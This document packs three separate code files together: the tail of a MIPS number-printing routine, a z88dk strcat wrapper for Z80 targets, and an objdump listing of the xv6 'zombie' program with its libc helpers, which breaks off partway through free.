upperL: beq $t2, $t4, upperE # if equal end upper loop
lowerL: beq $t3, $t5, lowerE # if equal end lower loop and start a upper loop
# print number
addi $t7, $t2, 0 # number == upper * upper unit + 1 + lower
sll $t7, $t7, 1
addi $t7, $t7, 1
sllv $t7, $t7, $t6
add $t7, $t7, $t3
beq $t7, $zero, notPrint0 # do not print 0
bne $t1, $zero, tab # feed back according to print index
li $v0, 11 # print \t
li $a0, 0x0a
j printN
tab: li $v0, 11 # print \n
li $a0, 0x09
printN: syscall # syscall for print '\r' or '\n'
addi $t1, $t1, 1 # print index++
bne $t1, $s3, resetE # reset print index if necessary
li $t1, 0
resetE: li $v0, 1 # print number
addi $a0, $t7, 0
syscall
notPrint0: addi $t3, $t3, 1 # lower count++
j lowerL
lowerE: addi $t2, $t2, 1 # upper count++
li $t3, 0 # set lower count to 0
j upperL
upperE: # restore
lw $t1, 0($sp)
lw $t2, 4($sp)
lw $t3, 8($sp)
lw $t4, 12($sp)
lw $t5, 16($sp)
lw $t6, 20($sp)
lw $t7, 24($sp)
addi $sp, $sp, 28 #restore $t1~$t7
jr $ra
exit: li $v0, 4 # print end
la $a0, end
syscall
|
; char *strcat(char * restrict s1, const char * restrict s2)
SECTION code_clib
SECTION code_string
PUBLIC strcat
EXTERN asm_strcat
strcat:
pop bc
pop hl
pop de
push de
push hl
push bc
IF __CLASSIC && __CPU_GBZ80__
call asm_strcat
ld d,h
ld e,l
ret
ELSE
jp asm_strcat
ENDIF
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _strcat
defc _strcat = strcat
ENDIF
|
_zombie: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(void)
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 51 push %ecx
e: 83 ec 04 sub $0x4,%esp
if(fork() > 0)
11: e8 63 02 00 00 call 279 <fork>
16: 85 c0 test %eax,%eax
18: 7e 0d jle 27 <main+0x27>
sleep(5); // Let child exit before parent.
1a: 83 ec 0c sub $0xc,%esp
1d: 6a 05 push $0x5
1f: e8 ed 02 00 00 call 311 <sleep>
24: 83 c4 10 add $0x10,%esp
exit();
27: e8 55 02 00 00 call 281 <exit>
0000002c <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
2c: 55 push %ebp
2d: 89 e5 mov %esp,%ebp
2f: 57 push %edi
30: 53 push %ebx
asm volatile("cld; rep stosb" :
31: 8b 4d 08 mov 0x8(%ebp),%ecx
34: 8b 55 10 mov 0x10(%ebp),%edx
37: 8b 45 0c mov 0xc(%ebp),%eax
3a: 89 cb mov %ecx,%ebx
3c: 89 df mov %ebx,%edi
3e: 89 d1 mov %edx,%ecx
40: fc cld
41: f3 aa rep stos %al,%es:(%edi)
43: 89 ca mov %ecx,%edx
45: 89 fb mov %edi,%ebx
47: 89 5d 08 mov %ebx,0x8(%ebp)
4a: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
4d: 5b pop %ebx
4e: 5f pop %edi
4f: 5d pop %ebp
50: c3 ret
00000051 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
51: 55 push %ebp
52: 89 e5 mov %esp,%ebp
54: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
57: 8b 45 08 mov 0x8(%ebp),%eax
5a: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
5d: 90 nop
5e: 8b 45 08 mov 0x8(%ebp),%eax
61: 8d 50 01 lea 0x1(%eax),%edx
64: 89 55 08 mov %edx,0x8(%ebp)
67: 8b 55 0c mov 0xc(%ebp),%edx
6a: 8d 4a 01 lea 0x1(%edx),%ecx
6d: 89 4d 0c mov %ecx,0xc(%ebp)
70: 0f b6 12 movzbl (%edx),%edx
73: 88 10 mov %dl,(%eax)
75: 0f b6 00 movzbl (%eax),%eax
78: 84 c0 test %al,%al
7a: 75 e2 jne 5e <strcpy+0xd>
;
return os;
7c: 8b 45 fc mov -0x4(%ebp),%eax
}
7f: c9 leave
80: c3 ret
00000081 <strcmp>:
int
strcmp(const char *p, const char *q)
{
81: 55 push %ebp
82: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
84: eb 08 jmp 8e <strcmp+0xd>
p++, q++;
86: 83 45 08 01 addl $0x1,0x8(%ebp)
8a: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
8e: 8b 45 08 mov 0x8(%ebp),%eax
91: 0f b6 00 movzbl (%eax),%eax
94: 84 c0 test %al,%al
96: 74 10 je a8 <strcmp+0x27>
98: 8b 45 08 mov 0x8(%ebp),%eax
9b: 0f b6 10 movzbl (%eax),%edx
9e: 8b 45 0c mov 0xc(%ebp),%eax
a1: 0f b6 00 movzbl (%eax),%eax
a4: 38 c2 cmp %al,%dl
a6: 74 de je 86 <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
a8: 8b 45 08 mov 0x8(%ebp),%eax
ab: 0f b6 00 movzbl (%eax),%eax
ae: 0f b6 d0 movzbl %al,%edx
b1: 8b 45 0c mov 0xc(%ebp),%eax
b4: 0f b6 00 movzbl (%eax),%eax
b7: 0f b6 c0 movzbl %al,%eax
ba: 29 c2 sub %eax,%edx
bc: 89 d0 mov %edx,%eax
}
be: 5d pop %ebp
bf: c3 ret
000000c0 <strlen>:
uint
strlen(char *s)
{
c0: 55 push %ebp
c1: 89 e5 mov %esp,%ebp
c3: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
c6: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
cd: eb 04 jmp d3 <strlen+0x13>
cf: 83 45 fc 01 addl $0x1,-0x4(%ebp)
d3: 8b 55 fc mov -0x4(%ebp),%edx
d6: 8b 45 08 mov 0x8(%ebp),%eax
d9: 01 d0 add %edx,%eax
db: 0f b6 00 movzbl (%eax),%eax
de: 84 c0 test %al,%al
e0: 75 ed jne cf <strlen+0xf>
;
return n;
e2: 8b 45 fc mov -0x4(%ebp),%eax
}
e5: c9 leave
e6: c3 ret
000000e7 <memset>:
void*
memset(void *dst, int c, uint n)
{
e7: 55 push %ebp
e8: 89 e5 mov %esp,%ebp
stosb(dst, c, n);
ea: 8b 45 10 mov 0x10(%ebp),%eax
ed: 50 push %eax
ee: ff 75 0c pushl 0xc(%ebp)
f1: ff 75 08 pushl 0x8(%ebp)
f4: e8 33 ff ff ff call 2c <stosb>
f9: 83 c4 0c add $0xc,%esp
return dst;
fc: 8b 45 08 mov 0x8(%ebp),%eax
}
ff: c9 leave
100: c3 ret
00000101 <strchr>:
char*
strchr(const char *s, char c)
{
101: 55 push %ebp
102: 89 e5 mov %esp,%ebp
104: 83 ec 04 sub $0x4,%esp
107: 8b 45 0c mov 0xc(%ebp),%eax
10a: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
10d: eb 14 jmp 123 <strchr+0x22>
if(*s == c)
10f: 8b 45 08 mov 0x8(%ebp),%eax
112: 0f b6 00 movzbl (%eax),%eax
115: 3a 45 fc cmp -0x4(%ebp),%al
118: 75 05 jne 11f <strchr+0x1e>
return (char*)s;
11a: 8b 45 08 mov 0x8(%ebp),%eax
11d: eb 13 jmp 132 <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
11f: 83 45 08 01 addl $0x1,0x8(%ebp)
123: 8b 45 08 mov 0x8(%ebp),%eax
126: 0f b6 00 movzbl (%eax),%eax
129: 84 c0 test %al,%al
12b: 75 e2 jne 10f <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
12d: b8 00 00 00 00 mov $0x0,%eax
}
132: c9 leave
133: c3 ret
00000134 <gets>:
char*
gets(char *buf, int max)
{
134: 55 push %ebp
135: 89 e5 mov %esp,%ebp
137: 83 ec 18 sub $0x18,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
13a: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
141: eb 44 jmp 187 <gets+0x53>
cc = read(0, &c, 1);
143: 83 ec 04 sub $0x4,%esp
146: 6a 01 push $0x1
148: 8d 45 ef lea -0x11(%ebp),%eax
14b: 50 push %eax
14c: 6a 00 push $0x0
14e: e8 46 01 00 00 call 299 <read>
153: 83 c4 10 add $0x10,%esp
156: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
159: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
15d: 7f 02 jg 161 <gets+0x2d>
break;
15f: eb 31 jmp 192 <gets+0x5e>
buf[i++] = c;
161: 8b 45 f4 mov -0xc(%ebp),%eax
164: 8d 50 01 lea 0x1(%eax),%edx
167: 89 55 f4 mov %edx,-0xc(%ebp)
16a: 89 c2 mov %eax,%edx
16c: 8b 45 08 mov 0x8(%ebp),%eax
16f: 01 c2 add %eax,%edx
171: 0f b6 45 ef movzbl -0x11(%ebp),%eax
175: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
177: 0f b6 45 ef movzbl -0x11(%ebp),%eax
17b: 3c 0a cmp $0xa,%al
17d: 74 13 je 192 <gets+0x5e>
17f: 0f b6 45 ef movzbl -0x11(%ebp),%eax
183: 3c 0d cmp $0xd,%al
185: 74 0b je 192 <gets+0x5e>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
187: 8b 45 f4 mov -0xc(%ebp),%eax
18a: 83 c0 01 add $0x1,%eax
18d: 3b 45 0c cmp 0xc(%ebp),%eax
190: 7c b1 jl 143 <gets+0xf>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
192: 8b 55 f4 mov -0xc(%ebp),%edx
195: 8b 45 08 mov 0x8(%ebp),%eax
198: 01 d0 add %edx,%eax
19a: c6 00 00 movb $0x0,(%eax)
return buf;
19d: 8b 45 08 mov 0x8(%ebp),%eax
}
1a0: c9 leave
1a1: c3 ret
000001a2 <stat>:
int
stat(char *n, struct stat *st)
{
1a2: 55 push %ebp
1a3: 89 e5 mov %esp,%ebp
1a5: 83 ec 18 sub $0x18,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
1a8: 83 ec 08 sub $0x8,%esp
1ab: 6a 00 push $0x0
1ad: ff 75 08 pushl 0x8(%ebp)
1b0: e8 0c 01 00 00 call 2c1 <open>
1b5: 83 c4 10 add $0x10,%esp
1b8: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
1bb: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1bf: 79 07 jns 1c8 <stat+0x26>
return -1;
1c1: b8 ff ff ff ff mov $0xffffffff,%eax
1c6: eb 25 jmp 1ed <stat+0x4b>
r = fstat(fd, st);
1c8: 83 ec 08 sub $0x8,%esp
1cb: ff 75 0c pushl 0xc(%ebp)
1ce: ff 75 f4 pushl -0xc(%ebp)
1d1: e8 03 01 00 00 call 2d9 <fstat>
1d6: 83 c4 10 add $0x10,%esp
1d9: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
1dc: 83 ec 0c sub $0xc,%esp
1df: ff 75 f4 pushl -0xc(%ebp)
1e2: e8 c2 00 00 00 call 2a9 <close>
1e7: 83 c4 10 add $0x10,%esp
return r;
1ea: 8b 45 f0 mov -0x10(%ebp),%eax
}
1ed: c9 leave
1ee: c3 ret
000001ef <atoi>:
int
atoi(const char *s)
{
1ef: 55 push %ebp
1f0: 89 e5 mov %esp,%ebp
1f2: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
1f5: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
1fc: eb 25 jmp 223 <atoi+0x34>
n = n*10 + *s++ - '0';
1fe: 8b 55 fc mov -0x4(%ebp),%edx
201: 89 d0 mov %edx,%eax
203: c1 e0 02 shl $0x2,%eax
206: 01 d0 add %edx,%eax
208: 01 c0 add %eax,%eax
20a: 89 c1 mov %eax,%ecx
20c: 8b 45 08 mov 0x8(%ebp),%eax
20f: 8d 50 01 lea 0x1(%eax),%edx
212: 89 55 08 mov %edx,0x8(%ebp)
215: 0f b6 00 movzbl (%eax),%eax
218: 0f be c0 movsbl %al,%eax
21b: 01 c8 add %ecx,%eax
21d: 83 e8 30 sub $0x30,%eax
220: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
223: 8b 45 08 mov 0x8(%ebp),%eax
226: 0f b6 00 movzbl (%eax),%eax
229: 3c 2f cmp $0x2f,%al
22b: 7e 0a jle 237 <atoi+0x48>
22d: 8b 45 08 mov 0x8(%ebp),%eax
230: 0f b6 00 movzbl (%eax),%eax
233: 3c 39 cmp $0x39,%al
235: 7e c7 jle 1fe <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
237: 8b 45 fc mov -0x4(%ebp),%eax
}
23a: c9 leave
23b: c3 ret
0000023c <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
23c: 55 push %ebp
23d: 89 e5 mov %esp,%ebp
23f: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
242: 8b 45 08 mov 0x8(%ebp),%eax
245: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
248: 8b 45 0c mov 0xc(%ebp),%eax
24b: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
24e: eb 17 jmp 267 <memmove+0x2b>
*dst++ = *src++;
250: 8b 45 fc mov -0x4(%ebp),%eax
253: 8d 50 01 lea 0x1(%eax),%edx
256: 89 55 fc mov %edx,-0x4(%ebp)
259: 8b 55 f8 mov -0x8(%ebp),%edx
25c: 8d 4a 01 lea 0x1(%edx),%ecx
25f: 89 4d f8 mov %ecx,-0x8(%ebp)
262: 0f b6 12 movzbl (%edx),%edx
265: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
267: 8b 45 10 mov 0x10(%ebp),%eax
26a: 8d 50 ff lea -0x1(%eax),%edx
26d: 89 55 10 mov %edx,0x10(%ebp)
270: 85 c0 test %eax,%eax
272: 7f dc jg 250 <memmove+0x14>
*dst++ = *src++;
return vdst;
274: 8b 45 08 mov 0x8(%ebp),%eax
}
277: c9 leave
278: c3 ret
00000279 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
279: b8 01 00 00 00 mov $0x1,%eax
27e: cd 40 int $0x40
280: c3 ret
00000281 <exit>:
SYSCALL(exit)
281: b8 02 00 00 00 mov $0x2,%eax
286: cd 40 int $0x40
288: c3 ret
00000289 <wait>:
SYSCALL(wait)
289: b8 03 00 00 00 mov $0x3,%eax
28e: cd 40 int $0x40
290: c3 ret
00000291 <pipe>:
SYSCALL(pipe)
291: b8 04 00 00 00 mov $0x4,%eax
296: cd 40 int $0x40
298: c3 ret
00000299 <read>:
SYSCALL(read)
299: b8 05 00 00 00 mov $0x5,%eax
29e: cd 40 int $0x40
2a0: c3 ret
000002a1 <write>:
SYSCALL(write)
2a1: b8 10 00 00 00 mov $0x10,%eax
2a6: cd 40 int $0x40
2a8: c3 ret
000002a9 <close>:
SYSCALL(close)
2a9: b8 15 00 00 00 mov $0x15,%eax
2ae: cd 40 int $0x40
2b0: c3 ret
000002b1 <kill>:
SYSCALL(kill)
2b1: b8 06 00 00 00 mov $0x6,%eax
2b6: cd 40 int $0x40
2b8: c3 ret
000002b9 <exec>:
SYSCALL(exec)
2b9: b8 07 00 00 00 mov $0x7,%eax
2be: cd 40 int $0x40
2c0: c3 ret
000002c1 <open>:
SYSCALL(open)
2c1: b8 0f 00 00 00 mov $0xf,%eax
2c6: cd 40 int $0x40
2c8: c3 ret
000002c9 <mknod>:
SYSCALL(mknod)
2c9: b8 11 00 00 00 mov $0x11,%eax
2ce: cd 40 int $0x40
2d0: c3 ret
000002d1 <unlink>:
SYSCALL(unlink)
2d1: b8 12 00 00 00 mov $0x12,%eax
2d6: cd 40 int $0x40
2d8: c3 ret
000002d9 <fstat>:
SYSCALL(fstat)
2d9: b8 08 00 00 00 mov $0x8,%eax
2de: cd 40 int $0x40
2e0: c3 ret
000002e1 <link>:
SYSCALL(link)
2e1: b8 13 00 00 00 mov $0x13,%eax
2e6: cd 40 int $0x40
2e8: c3 ret
000002e9 <mkdir>:
SYSCALL(mkdir)
2e9: b8 14 00 00 00 mov $0x14,%eax
2ee: cd 40 int $0x40
2f0: c3 ret
000002f1 <chdir>:
SYSCALL(chdir)
2f1: b8 09 00 00 00 mov $0x9,%eax
2f6: cd 40 int $0x40
2f8: c3 ret
000002f9 <dup>:
SYSCALL(dup)
2f9: b8 0a 00 00 00 mov $0xa,%eax
2fe: cd 40 int $0x40
300: c3 ret
00000301 <getpid>:
SYSCALL(getpid)
301: b8 0b 00 00 00 mov $0xb,%eax
306: cd 40 int $0x40
308: c3 ret
00000309 <sbrk>:
SYSCALL(sbrk)
309: b8 0c 00 00 00 mov $0xc,%eax
30e: cd 40 int $0x40
310: c3 ret
00000311 <sleep>:
SYSCALL(sleep)
311: b8 0d 00 00 00 mov $0xd,%eax
316: cd 40 int $0x40
318: c3 ret
00000319 <uptime>:
SYSCALL(uptime)
319: b8 0e 00 00 00 mov $0xe,%eax
31e: cd 40 int $0x40
320: c3 ret
00000321 <trace>:
SYSCALL(trace)
321: b8 16 00 00 00 mov $0x16,%eax
326: cd 40 int $0x40
328: c3 ret
00000329 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
329: 55 push %ebp
32a: 89 e5 mov %esp,%ebp
32c: 83 ec 18 sub $0x18,%esp
32f: 8b 45 0c mov 0xc(%ebp),%eax
332: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
335: 83 ec 04 sub $0x4,%esp
338: 6a 01 push $0x1
33a: 8d 45 f4 lea -0xc(%ebp),%eax
33d: 50 push %eax
33e: ff 75 08 pushl 0x8(%ebp)
341: e8 5b ff ff ff call 2a1 <write>
346: 83 c4 10 add $0x10,%esp
}
349: c9 leave
34a: c3 ret
0000034b <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
34b: 55 push %ebp
34c: 89 e5 mov %esp,%ebp
34e: 53 push %ebx
34f: 83 ec 24 sub $0x24,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
352: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
359: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
35d: 74 17 je 376 <printint+0x2b>
35f: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
363: 79 11 jns 376 <printint+0x2b>
neg = 1;
365: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
36c: 8b 45 0c mov 0xc(%ebp),%eax
36f: f7 d8 neg %eax
371: 89 45 ec mov %eax,-0x14(%ebp)
374: eb 06 jmp 37c <printint+0x31>
} else {
x = xx;
376: 8b 45 0c mov 0xc(%ebp),%eax
379: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
37c: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
383: 8b 4d f4 mov -0xc(%ebp),%ecx
386: 8d 41 01 lea 0x1(%ecx),%eax
389: 89 45 f4 mov %eax,-0xc(%ebp)
38c: 8b 5d 10 mov 0x10(%ebp),%ebx
38f: 8b 45 ec mov -0x14(%ebp),%eax
392: ba 00 00 00 00 mov $0x0,%edx
397: f7 f3 div %ebx
399: 89 d0 mov %edx,%eax
39b: 0f b6 80 04 0a 00 00 movzbl 0xa04(%eax),%eax
3a2: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
3a6: 8b 5d 10 mov 0x10(%ebp),%ebx
3a9: 8b 45 ec mov -0x14(%ebp),%eax
3ac: ba 00 00 00 00 mov $0x0,%edx
3b1: f7 f3 div %ebx
3b3: 89 45 ec mov %eax,-0x14(%ebp)
3b6: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
3ba: 75 c7 jne 383 <printint+0x38>
if(neg)
3bc: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
3c0: 74 0e je 3d0 <printint+0x85>
buf[i++] = '-';
3c2: 8b 45 f4 mov -0xc(%ebp),%eax
3c5: 8d 50 01 lea 0x1(%eax),%edx
3c8: 89 55 f4 mov %edx,-0xc(%ebp)
3cb: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
3d0: eb 1d jmp 3ef <printint+0xa4>
putc(fd, buf[i]);
3d2: 8d 55 dc lea -0x24(%ebp),%edx
3d5: 8b 45 f4 mov -0xc(%ebp),%eax
3d8: 01 d0 add %edx,%eax
3da: 0f b6 00 movzbl (%eax),%eax
3dd: 0f be c0 movsbl %al,%eax
3e0: 83 ec 08 sub $0x8,%esp
3e3: 50 push %eax
3e4: ff 75 08 pushl 0x8(%ebp)
3e7: e8 3d ff ff ff call 329 <putc>
3ec: 83 c4 10 add $0x10,%esp
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
3ef: 83 6d f4 01 subl $0x1,-0xc(%ebp)
3f3: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
3f7: 79 d9 jns 3d2 <printint+0x87>
putc(fd, buf[i]);
}
3f9: 8b 5d fc mov -0x4(%ebp),%ebx
3fc: c9 leave
3fd: c3 ret
000003fe <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
3fe: 55 push %ebp
3ff: 89 e5 mov %esp,%ebp
401: 83 ec 28 sub $0x28,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
404: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
40b: 8d 45 0c lea 0xc(%ebp),%eax
40e: 83 c0 04 add $0x4,%eax
411: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
414: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
41b: e9 59 01 00 00 jmp 579 <printf+0x17b>
c = fmt[i] & 0xff;
420: 8b 55 0c mov 0xc(%ebp),%edx
423: 8b 45 f0 mov -0x10(%ebp),%eax
426: 01 d0 add %edx,%eax
428: 0f b6 00 movzbl (%eax),%eax
42b: 0f be c0 movsbl %al,%eax
42e: 25 ff 00 00 00 and $0xff,%eax
433: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
436: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
43a: 75 2c jne 468 <printf+0x6a>
if(c == '%'){
43c: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
440: 75 0c jne 44e <printf+0x50>
state = '%';
442: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
449: e9 27 01 00 00 jmp 575 <printf+0x177>
} else {
putc(fd, c);
44e: 8b 45 e4 mov -0x1c(%ebp),%eax
451: 0f be c0 movsbl %al,%eax
454: 83 ec 08 sub $0x8,%esp
457: 50 push %eax
458: ff 75 08 pushl 0x8(%ebp)
45b: e8 c9 fe ff ff call 329 <putc>
460: 83 c4 10 add $0x10,%esp
463: e9 0d 01 00 00 jmp 575 <printf+0x177>
}
} else if(state == '%'){
468: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
46c: 0f 85 03 01 00 00 jne 575 <printf+0x177>
if(c == 'd'){
472: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
476: 75 1e jne 496 <printf+0x98>
printint(fd, *ap, 10, 1);
478: 8b 45 e8 mov -0x18(%ebp),%eax
47b: 8b 00 mov (%eax),%eax
47d: 6a 01 push $0x1
47f: 6a 0a push $0xa
481: 50 push %eax
482: ff 75 08 pushl 0x8(%ebp)
485: e8 c1 fe ff ff call 34b <printint>
48a: 83 c4 10 add $0x10,%esp
ap++;
48d: 83 45 e8 04 addl $0x4,-0x18(%ebp)
491: e9 d8 00 00 00 jmp 56e <printf+0x170>
} else if(c == 'x' || c == 'p'){
496: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
49a: 74 06 je 4a2 <printf+0xa4>
49c: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
4a0: 75 1e jne 4c0 <printf+0xc2>
printint(fd, *ap, 16, 0);
4a2: 8b 45 e8 mov -0x18(%ebp),%eax
4a5: 8b 00 mov (%eax),%eax
4a7: 6a 00 push $0x0
4a9: 6a 10 push $0x10
4ab: 50 push %eax
4ac: ff 75 08 pushl 0x8(%ebp)
4af: e8 97 fe ff ff call 34b <printint>
4b4: 83 c4 10 add $0x10,%esp
ap++;
4b7: 83 45 e8 04 addl $0x4,-0x18(%ebp)
4bb: e9 ae 00 00 00 jmp 56e <printf+0x170>
} else if(c == 's'){
4c0: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
4c4: 75 43 jne 509 <printf+0x10b>
s = (char*)*ap;
4c6: 8b 45 e8 mov -0x18(%ebp),%eax
4c9: 8b 00 mov (%eax),%eax
4cb: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
4ce: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
4d2: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
4d6: 75 07 jne 4df <printf+0xe1>
s = "(null)";
4d8: c7 45 f4 b2 07 00 00 movl $0x7b2,-0xc(%ebp)
while(*s != 0){
4df: eb 1c jmp 4fd <printf+0xff>
putc(fd, *s);
4e1: 8b 45 f4 mov -0xc(%ebp),%eax
4e4: 0f b6 00 movzbl (%eax),%eax
4e7: 0f be c0 movsbl %al,%eax
4ea: 83 ec 08 sub $0x8,%esp
4ed: 50 push %eax
4ee: ff 75 08 pushl 0x8(%ebp)
4f1: e8 33 fe ff ff call 329 <putc>
4f6: 83 c4 10 add $0x10,%esp
s++;
4f9: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
4fd: 8b 45 f4 mov -0xc(%ebp),%eax
500: 0f b6 00 movzbl (%eax),%eax
503: 84 c0 test %al,%al
505: 75 da jne 4e1 <printf+0xe3>
507: eb 65 jmp 56e <printf+0x170>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
509: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
50d: 75 1d jne 52c <printf+0x12e>
putc(fd, *ap);
50f: 8b 45 e8 mov -0x18(%ebp),%eax
512: 8b 00 mov (%eax),%eax
514: 0f be c0 movsbl %al,%eax
517: 83 ec 08 sub $0x8,%esp
51a: 50 push %eax
51b: ff 75 08 pushl 0x8(%ebp)
51e: e8 06 fe ff ff call 329 <putc>
523: 83 c4 10 add $0x10,%esp
ap++;
526: 83 45 e8 04 addl $0x4,-0x18(%ebp)
52a: eb 42 jmp 56e <printf+0x170>
} else if(c == '%'){
52c: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
530: 75 17 jne 549 <printf+0x14b>
putc(fd, c);
532: 8b 45 e4 mov -0x1c(%ebp),%eax
535: 0f be c0 movsbl %al,%eax
538: 83 ec 08 sub $0x8,%esp
53b: 50 push %eax
53c: ff 75 08 pushl 0x8(%ebp)
53f: e8 e5 fd ff ff call 329 <putc>
544: 83 c4 10 add $0x10,%esp
547: eb 25 jmp 56e <printf+0x170>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
549: 83 ec 08 sub $0x8,%esp
54c: 6a 25 push $0x25
54e: ff 75 08 pushl 0x8(%ebp)
551: e8 d3 fd ff ff call 329 <putc>
556: 83 c4 10 add $0x10,%esp
putc(fd, c);
559: 8b 45 e4 mov -0x1c(%ebp),%eax
55c: 0f be c0 movsbl %al,%eax
55f: 83 ec 08 sub $0x8,%esp
562: 50 push %eax
563: ff 75 08 pushl 0x8(%ebp)
566: e8 be fd ff ff call 329 <putc>
56b: 83 c4 10 add $0x10,%esp
}
state = 0;
56e: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
575: 83 45 f0 01 addl $0x1,-0x10(%ebp)
579: 8b 55 0c mov 0xc(%ebp),%edx
57c: 8b 45 f0 mov -0x10(%ebp),%eax
57f: 01 d0 add %edx,%eax
581: 0f b6 00 movzbl (%eax),%eax
584: 84 c0 test %al,%al
586: 0f 85 94 fe ff ff jne 420 <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
58c: c9 leave
58d: c3 ret
0000058e <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
58e: 55 push %ebp
58f: 89 e5 mov %esp,%ebp
591: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
594: 8b 45 08 mov 0x8(%ebp),%eax
597: 83 e8 08 sub $0x8,%eax
59a: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
59d: a1 20 0a 00 00 mov 0xa20,%eax
5a2: 89 45 fc mov %eax,-0x4(%ebp)
5a5: eb 24 jmp 5cb <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
5a7: 8b 45 fc mov -0x4(%ebp),%eax
5aa: 8b 00 mov (%eax),%eax
5ac: 3b 45 fc cmp -0x4(%ebp),%eax
5af: 77 12 ja 5c3 <free+0x35>
5b1: 8b 45 f8 mov -0x8(%ebp),%eax
